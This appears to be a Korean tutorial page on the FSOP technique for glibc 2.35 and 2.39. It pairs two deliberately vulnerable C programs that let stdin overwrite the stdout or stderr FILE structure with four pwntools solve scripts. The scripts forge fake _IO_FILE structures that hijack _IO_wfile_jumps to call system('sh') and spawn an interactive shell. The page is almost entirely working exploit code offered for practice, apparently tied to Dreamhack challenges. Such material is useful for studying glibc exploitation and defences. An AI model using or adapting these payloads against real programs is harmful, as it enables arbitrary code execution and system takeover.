콘텐츠로 건너뛰기

FSOP (glibc 2.35, 2.39)

작동 확인된 환경

Ubuntu 24.04, (Ubuntu GLIBC 2.39-0ubuntu8.4)

Ubuntu 22.04, (Ubuntu GLIBC 2.35-0ubuntu3.10)

FSOP_stdout

  • fsop_stdout.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, const char **argv, const char **envp) {
    // stdout을 언버퍼드 모드로 설정하여 즉시 구조체를 덮어쓸 수 있도록 함
    setvbuf(stdout, NULL, _IONBF, 0);

    // stdout 구조체의 주소를 출력
    printf("%p\n", stdout);

    // stdin으로부터 0xE0(224) 바이트를 읽어 stdout 구조체 시작 주소에 덮어씀
    read(STDIN_FILENO, (char *)stdout, 0xE0);

    // 덮어쓰기가 끝났음을 알림
    puts("modify finished!");

    _exit(0);
}
  • solve.py
#!/usr/bin/env python3

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./fsop_stdout")
# p = remote("host3.dreamhack.games", 10296)
e = ELF('./fsop_stdout',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc_prob.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

bss_start = rl()
bss_start = bss_start.split(b'\n')[0]
bss_start = int(bss_start, 16)
info(f"bss_start: {(hex(bss_start))}")
l.address = bss_start - l.sym['_IO_2_1_stdout_']
success(f"libc_base: {(hex(l.address))}")

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

#p64(l.symbols['_IO_2_1_stdout_'] + 196 - 104)는 _IO_save_end + 0x4를 의미함

# gdb-peda$ info address _IO_2_1_stdout_
# Symbol "_IO_2_1_stdout_" is static storage at address 0x7f73cde105c0.

# gdb-peda$ set {unsigned int}0x7f73cde1061c = 0x51525354
# gdb-peda$ p *(struct _IO_FILE_plus *)0x7f73cde105c0
# $5 = {
#   file = {
#     _flags = 0xfbad2887,
#     _IO_read_ptr = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_read_end = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_read_base = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_write_base = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_write_ptr = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_write_end = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_buf_base = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_buf_end = 0x7f73cde10644 <_IO_2_1_stdout_+132> "",
#     _IO_save_base = 0x0,
#     _IO_backup_base = 0x0,
#     _IO_save_end = 0x5152535400000000 <error: Cannot access memory at address 0x5152535400000000>, XXX

# gdb-peda$ p/x (size_t)&((FILE*)0)->_IO_save_end
# $7 = 0x58

fs = FileStructure(0)
marker = u64(b'CAFEBABE')
fs._IO_save_end = marker
_IO_save_end_off = bytes(fs) .index(p64(marker))

FSOP = FSOP_struct(flags = u64(b"\x01\x01;sh;\x00\x00"), \
                   lock            = l.symbols['_IO_2_1_stdout_'] + 0x10, \
                   _IO_read_ptr    = 0x0, \
                   _IO_write_base  = 0x0, \
                   _wide_data      = l.symbols['_IO_2_1_stdout_'] - 0x10, \
                   _unused2        = p64(l.symbols['system'])+ b"\x00"*4 + p64(l.symbols['_IO_2_1_stdout_'] + _IO_save_end_off + 4), \
                   vtable          = l.symbols['_IO_wfile_jumps'] - 0x20, \
                   )

info(f"FSOP payload len: {len(FSOP)}")    

p.sendline(bytes(FSOP))

pi()
  • solve2.py
#!/usr/bin/env python3

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./fsop_stdout")
# p = remote("host3.dreamhack.games", 10296)
e = ELF('./fsop_stdout',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc_prob.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

bss_start = rl()
bss_start = bss_start.split(b'\n')[0]
bss_start = int(bss_start, 16)
info(f"bss_start: {(hex(bss_start))}")
l.address = bss_start - l.sym['_IO_2_1_stdout_']
success(f"libc_base: {(hex(l.address))}")

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

stdout_lock = l.sym.__nptl_last_event - 0x48 # gdb-peda$ info address _IO_stdfile_1_lock
FSOP = FSOP_struct(
    flags=u64(b"\x01\x01\x01\x01;sh\x00"),
    lock=stdout_lock,
    _wide_data=l.sym['_IO_2_1_stdout_'] - 0x10,
    _markers=l.symbols["system"],
    _unused2=p32(0x0) + p64(0x0) + p64(l.sym['_IO_2_1_stdout_'] - 0x8),
    vtable=l.symbols["_IO_wfile_jumps"] - 0x20,
    _mode=0xFFFFFFFF,
)

info(f"FSOP payload len: {len(FSOP)}")    

p.sendline(bytes(FSOP))

pi()

FSOP_stderr

  • fsop_stderr.c
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>

int main(int argc, const char **argv, const char **envp) {
    // stdout을 언버퍼드 모드로 설정하여 즉시 구조체를 덮어쓸 수 있도록 함
    setvbuf(stderr, NULL, _IONBF, 0);

    // stdout 구조체의 주소를 출력
    printf("%p\n", stderr);

    // stdin으로부터 0xE0(224) 바이트를 읽어 stdout 구조체 시작 주소에 덮어씀
    read(STDIN_FILENO, (char *)stderr, 0xE0);

    // 덮어쓰기가 끝났음을 알림
    fwrite("modify finished!\n", 1u, 17u, stderr);

    _exit(0);
}
  • solve.py
#!/usr/bin/env python3

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./fsop_stderr")
# p = remote("host3.dreamhack.games", 10296)
e = ELF('./fsop_stderr',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc_prob.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

bss_start = rl()
bss_start = bss_start.split(b'\n')[0]
bss_start = int(bss_start, 16)
info(f"bss_start: {(hex(bss_start))}")
l.address = bss_start - l.sym['_IO_2_1_stderr_']
success(f"libc_base: {(hex(l.address))}")

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

#p64(l.symbols['_IO_2_1_stdout_'] + 196 - 104)는 _IO_save_end + 0x4를 의미함

# gdb-peda$ info address _IO_2_1_stdout_
# Symbol "_IO_2_1_stdout_" is static storage at address 0x7f73cde105c0.

# gdb-peda$ set {unsigned int}0x7f73cde1061c = 0x51525354
# gdb-peda$ p *(struct _IO_FILE_plus *)0x7f73cde105c0
# $5 = {
#   file = {
#     _flags = 0xfbad2887,
#     _IO_read_ptr = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_read_end = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_read_base = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_write_base = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_write_ptr = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_write_end = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_buf_base = 0x7f73cde10643 <_IO_2_1_stdout_+131> "",
#     _IO_buf_end = 0x7f73cde10644 <_IO_2_1_stdout_+132> "",
#     _IO_save_base = 0x0,
#     _IO_backup_base = 0x0,
#     _IO_save_end = 0x5152535400000000 <error: Cannot access memory at address 0x5152535400000000>, XXX

# gdb-peda$ p/x (size_t)&((FILE*)0)->_IO_save_end
# $7 = 0x58

fs = FileStructure(0)
marker = u64(b'CAFEBABE')
fs._IO_save_end = marker
_IO_save_end_off = bytes(fs) .index(p64(marker))

FSOP = FSOP_struct(flags = u64(b"\x01\x01;sh;\x00\x00"), \
                   lock            = l.symbols['_IO_2_1_stderr_'] + 0x10, \
                   _IO_read_ptr    = 0x0, \
                   _IO_write_base  = 0x0, \
                   _wide_data      = l.symbols['_IO_2_1_stderr_'] - 0x10, \
                   _unused2        = p64(l.symbols['system'])+ b"\x00"*4 + p64(l.symbols['_IO_2_1_stderr_'] + _IO_save_end_off + 4), \
                   vtable          = l.symbols['_IO_wfile_jumps'] - 0x20, \
                   )

info(f"FSOP payload len: {len(FSOP)}")    

p.sendline(bytes(FSOP))

pi()
  • solve2.py
#!/usr/bin/env python3

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')
import sys

p = process("./fsop_stderr")
# p = remote("host3.dreamhack.games", 10296)
e = ELF('./fsop_stderr',checksec=False)
l = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False)
# l = ELF('./libc_prob.so.6', checksec=False)

s = lambda str: p.send(str)
sl = lambda str: p.sendline(str)
sa = lambda delims, str: p.sendafter(delims, str)
sla = lambda delims, str: p.sendlineafter(delims, str)
r = lambda numb=4096: p.recv(numb)
rl = lambda: p.recvline()
ru = lambda delims: p.recvuntil(delims)
uu32 = lambda data: u32(data.ljust(4, b"\x00"))
uu64 = lambda data: u64(data.ljust(8, b"\x00"))
li = lambda str, data: log.success(str + "========>" + hex(data))
ip = lambda: input()
pi = lambda: p.interactive()

bss_start = rl()
bss_start = bss_start.split(b'\n')[0]
bss_start = int(bss_start, 16)
info(f"bss_start: {(hex(bss_start))}")
l.address = bss_start - l.sym['_IO_2_1_stderr_']
success(f"libc_base: {(hex(l.address))}")

def FSOP_struct(flags = 0, _IO_read_ptr = 0, _IO_read_end = 0, _IO_read_base = 0,\
_IO_write_base = 0, _IO_write_ptr = 0, _IO_write_end = 0, _IO_buf_base = 0, _IO_buf_end = 0,\
_IO_save_base = 0, _IO_backup_base = 0, _IO_save_end = 0, _markers= 0, _chain = 0, _fileno = 0,\
_flags2 = 0, _old_offset = 0, _cur_column = 0, _vtable_offset = 0, _shortbuf = 0, lock = 0,\
_offset = 0, _codecvt = 0, _wide_data = 0, _freeres_list = 0, _freeres_buf = 0,\
__pad5 = 0, _mode = 0, _unused2 = b"", vtable = 0, more_append = b""):
    
    FSOP = p64(flags) + p64(_IO_read_ptr) + p64(_IO_read_end) + p64(_IO_read_base)
    FSOP += p64(_IO_write_base) + p64(_IO_write_ptr) + p64(_IO_write_end)
    FSOP += p64(_IO_buf_base) + p64(_IO_buf_end) + p64(_IO_save_base) + p64(_IO_backup_base) + p64(_IO_save_end)
    FSOP += p64(_markers) + p64(_chain) + p32(_fileno) + p32(_flags2)
    FSOP += p64(_old_offset) + p16(_cur_column) + p8(_vtable_offset) + p8(_shortbuf) + p32(0x0)
    FSOP += p64(lock) + p64(_offset) + p64(_codecvt) + p64(_wide_data) + p64(_freeres_list) + p64(_freeres_buf)
    FSOP += p64(__pad5) + p32(_mode)
    if _unused2 == b"":
        FSOP += b"\x00"*0x14
    else:
        FSOP += _unused2[0x0:0x14].ljust(0x14, b"\x00")
    
    FSOP += p64(vtable)
    FSOP += more_append
    return FSOP

stderr_lock = l.sym.__nptl_last_event - 0x58 # gdb-peda$ info address _IO_stdfile_2_lock
FSOP = FSOP_struct(
    flags=u64(b"\x01\x01\x01\x01;sh\x00"),
    lock=stderr_lock,
    _wide_data=l.sym['_IO_2_1_stderr_'] - 0x10,
    _markers=l.symbols["system"],
    _unused2=p32(0x0) + p64(0x0) + p64(l.sym['_IO_2_1_stderr_'] - 0x8),
    vtable=l.symbols["_IO_wfile_jumps"] - 0x20,
    _mode=0xFFFFFFFF,
)

info(f"FSOP payload len: {len(FSOP)}")    

p.sendline(bytes(FSOP))

pi()